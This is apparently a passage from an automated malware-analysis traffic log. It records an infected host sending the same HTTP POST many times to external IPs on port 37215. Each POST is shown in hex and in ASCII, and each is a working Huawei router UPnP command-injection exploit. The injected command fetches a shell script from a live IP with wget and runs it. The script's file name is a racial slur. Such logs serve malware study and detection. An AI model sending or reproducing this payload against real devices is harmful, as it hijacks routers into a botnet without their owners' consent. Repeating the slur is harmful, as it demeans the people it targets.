Feb 19, 2024 18:36:34.315507889 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.460710049 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	55980	31.136.254.134	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:47.242522001 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:50.289642096 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.432708025 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.462992907 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:34.315469980 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.460745096 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	59110	31.136.194.47	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:47.242760897 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
